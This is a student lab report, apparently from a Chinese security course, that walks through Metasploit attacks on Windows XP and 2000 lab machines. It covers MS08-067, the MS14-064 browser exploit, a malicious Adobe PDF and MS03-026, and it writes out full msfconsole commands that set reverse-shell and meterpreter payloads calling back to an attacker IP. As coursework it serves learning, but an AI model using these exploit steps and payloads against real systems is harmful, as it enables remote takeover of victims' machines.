Exp6 MSF應用基礎
序言
本次實驗目标是掌握metasploit的基本應用方式,重點是常用的三種攻擊方式的思路。
預備知識
MS08-067
漏洞描述
MS08-067漏洞的全稱為“Windows Server服務RPC請求緩沖區溢出漏洞”,如果使用者在受影響的系統上收到特制的 RPC 請求,則該漏洞可能允許遠端執行代碼。在Windows 2000、Windows XP 和 Windows Server 2003 系統上,攻擊者可能未經身份驗證即可利用此漏洞運作任意代碼,此漏洞可用于進行蠕蟲攻擊,目前已經有利用該漏洞的蠕蟲病毒。防火牆最佳做法和标準的預設防火牆配置,有助于保護網絡資源免受從企業外部發起的攻擊,預設情況下能建立空連接配接。
攻擊原理
MS08_067漏洞攻擊原理是攻擊者利用受害者主機預設開放的SMB服務端口445,發送惡意資料到該端口,通過MSRPC接口調用Server服務的一個函數,并破壞程式的棧緩沖區,獲得遠端代碼執行(Remote Code Execution)權限,進而完全控制主機。
源碼分析
MS08_67漏洞是通過MSRPC over SMB通道調用Server服務程式中的
NetPathCanonicalize
函數時觸發的,而在遠端通路其他主機時,會調用
NetpwPathCanonicalize
函數,對遠端通路的路徑進行規範化,而在
NetpwPathCanonicalize
函數中發生了棧緩沖區記憶體錯誤,造成可被利用實施遠端代碼執行。
MS14-064
Microsoft Windows OLE遠端代碼執行漏洞,OLE(對象連結與嵌入)是一種允許應用程式共享資料和功能的技術。成功利用這些漏洞的攻擊者可以在目前使用者的上下文中運作任意代碼。如果目前使用者使用管理使用者權限登入,則攻擊者可随後安裝程式;檢視、更改或删除資料;或者建立擁有完全使用者權限的新帳戶。那些帳戶被配置為擁有較少使用者權限的使用者比具有管理使用者權限的使用者受到的影響要小。 對于 Microsoft Windows 所有受支援的版本,此安全更新的等級為“嚴重”。
漏洞原理
遠端攻擊者利用此漏洞通過構造的網站執行任意代碼,影響Win95+IE3 – Win10+IE11全版本...
Adobe
通過社會工程學探測到目标使用者的郵箱,即時通信賬戶個人資訊,淨額以文檔發送給使用者,打開文檔就會觸發惡意漏洞。
MS03_026
此漏洞由lds-pl.net漏洞研究組在2003年7月16日發現,漏洞及exp在網上公開後,網上出現了大量的執行個體,利用此漏洞的蠕蟲也大量出現。
微軟修改dcerpc架構後形成自己的RPC架構來處理程序間的通信。微軟的RPC架構在處理TCP/IP資訊交換過程中存在的畸形消息時,未正确處理,導緻緩沖區溢出漏洞;此漏洞影響使用RPC架構的DCOM接口,DCOM接口用來處理用戶端機器發送給伺服器的DCOM對象激活請求,如UNC路徑。
MSF子產品使用方式方法
msfconsole進入控制台
确定你要找的漏洞,然後輸入
search 漏洞名查找相應子產品
info檢視靶機适用範圍
show payloads檢視相關載荷
set payload generic/shell_reverse_tcp選擇載荷
show options檢視相關參數
進行參數配置
set RHOST 靶機IP
set LPORT 端口号
set LHOST 攻擊機IP
set target 0
利用輔助子產品檢視端口是否開啟(預設端口為445)
msfconsole//進入控制台
search portscan //搜尋端口
use auxiliary/scanner/portscan/tcp //使用漏洞子產品
set RHOSTS 靶機位址
exploit //攻擊
exploit偵聽
一、實驗内容
- 一個主動攻擊實踐,盡量使用最新的類似漏洞
- 一個針對浏覽器的攻擊,盡量使用最新的類似漏洞
- 一個針對用戶端的攻擊,如Adobe或office,盡量使用最新的類似漏洞
- 成功應用任何一個輔助子產品
二、實驗過程
2.1 主動攻擊實踐MS08-067
靶機:Microsoft Windows XP(172.20.10.4)
攻擊機:kali(172.20.10.5)
首先利用輔助子產品檢視靶機目标端口是否開啟
msfconsole//進入控制台
search portscan //搜尋端口
use auxiliary/scanner/portscan/tcp //使用漏洞子產品
set RHOSTS 172.20.10.4 //設定靶機位址
exploit //攻擊

這裡似乎顯示445端口沒有開啟,但我還是嘗試了一下
msfconsole
use exploit/windows/smb/ms08_067_netapi //選擇攻擊子產品
set payload generic/shell_reverse_tcp //選擇攻擊載荷
show options //檢視配置資訊
set RHOST 172.20.10.4 //設定靶機IP,端口預設為445
set LPORT 1312
set LHOST 172.20.10.5 //設定攻方IP
set target 0 //0是自動選擇平台(可通過“show targets”檢視可攻擊的平台)
exploit //偵聽
第一次偵聽顯示成功,但沒有建立會話,随後的偵聽都失敗了。
之後将RHOST換成135、136嘗試了一下,均以失敗告終
随後我将靶機換成了Windows 2000
靶機:Microsoft Windows 2000 (172.20.10.6)
set RHOST 172.20.10.6 //設定靶機IP,端口預設為445
set target 1 //如上圖,這裡的1是Windows2000
exploit //偵聽
成功獲得了Windows2000的shell,運作
ipconfig
指令發現ip位址一緻。
2.2 針對浏覽器的攻擊MS14-064
msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //選擇攻擊子產品
show payloads //顯示可用攻擊載荷
set payload windows/meterpreter/reverse_tcp
set SRVHOST 172.20.10.5 //設定攻擊機IP
set AllowPowerShellPrompt 1 //因為msf中自帶的漏洞利用exp調用的是powershell,是以msf中的exp代碼隻對安裝powershell的系統生效
set LHOST 172.20.10.5
set LPORT 1312
set target 0 //設定winXP靶機
exploit
可以看到這裡生成了一個URL位址,将其複制進Windows XP的浏覽器中。
可以看到成功建立了一個會話。
這時可以用
ctrl+c
退出目前狀态,輸入
sessions -i 1
擷取第一個會話連接配接,并輸入
ipconfig
驗證靶機位址
2.3 針對用戶端的攻擊Adobe
msfconsole
use windows/fileformat/adobe_cooltype_sing //選擇攻擊子產品
set payload windows/meterpreter/reverse_tcp
set LHOST 172.20.10.5 //攻擊機 IP
set LPORT 1312
set FILENAME xieyi20181312.pdf //設定生成的pdf檔案名
exploit //發起攻擊
可以看到生成了
xieyi20181312.pdf
,這時使用
cp /home/xieyi20181312/.msf4/local/xieyi20181312.pdf /mnt/hgfs/ShareForKali
将檔案複制到Windows10主機上,然後移動到Windows XP上。
在msfconsole中退出目前子產品,随後輸入
use exploit/multi/handler //進入監聽子產品
set payload windows/meterpreter/reverse_tcp
set LHOST 172.20.10.5 //攻擊機 IP
set LPORT 1312
exploit
在Windows XP安裝了
Adobe Reader 9.4
後,打開
xieyi20181312.pdf
可以看到在kali中已經攻擊成功,輸入
ipconfig
可以驗證靶機位址。
輸入shell,可以真實地擷取Windows XP的cmd
2.4 成功應用任何一個輔助子產品
msfconsole
use exploit/windows/dcerpc/ms03_026_dcom //選擇攻擊子產品
show targets //檢視适用範圍
set payload windows/meterpreter/reverse_tcp
set LHOST 172.20.10.5 //攻擊機 IP
set LPORT 1312
set RHOST 172.20.10.4 //靶機 IP
set RPORT 1312
exploit
不成功。
此時,我想起來之前檢查tcp端口的時候隻有135端口和136端口開放,這時我将LPORT和RPORT都改成了135。
還是不成功,于是我更換了Windows 2000嘗試
我先探測了一下靶機開放的tcp端口
msfconsole
use exploit/windows/dcerpc/ms03_026_dcom //選擇攻擊子產品
show targets //檢視适用範圍
set payload windows/meterpreter/reverse_tcp
set LHOST 172.20.10.5 //攻擊機 IP
set LPORT 1312
set RHOST 172.20.10.6 //靶機 IP
set RPORT 445
exploit
還是不成功。
ipidseq
msfconsole
use auxiliary/scanner/ip/ipidseq
set RHOSTS 172.20.10.6 //靶機 IP
set TIMEOUT 5 //設定時間最長掃描時間
exploit
我們隻要将IP設成範圍就可以掃描同一網段下的其他主機了,因為實際上我們并不一定知道靶機的IP位址,通常需要寫成一個範圍。
三、回答一些問題
3.1 用自己的話解釋什麼是exploit,payload,encode.
exploit:攻擊。我覺得就是對漏洞的攻擊,也就是通過漏洞對靶機進行一些非授權操作。
payload:載荷。也就是一段shellcode攻擊代碼,在利用漏洞對靶機進行一系列操作的過程中,實質上進行執行shellcode代碼。
encode:編碼。檢視了一下
/usr/share/metasploit-framework/modules/encoders
檔案夾下的内容,我認為encode就是通過改變shellcode的編碼格式來對攻擊代碼進行僞裝,使其能正常運作并盡量免殺。
3.2 離實戰還缺些什麼技術或步驟?& 實踐總結與體會
我們現在做的實驗都是使用了一些特定版本的Windows系統,且都是年代較為久遠的2000、XP等版本。如果是現在真實環境下很難找到有人在使用Windows XP作為主機系統了,而且現在找到的漏洞利用方法都是前人充分總結出來的,已有的漏洞在版本更新之後,肯定已經被修複了。如果去實戰的話,我想我們應當具備尋找盡可能新的漏洞的能力,趁漏洞的更新檔還比較新,沒有人更新版本時運用該漏洞進行攻擊,才有可能達到真正的攻擊效果。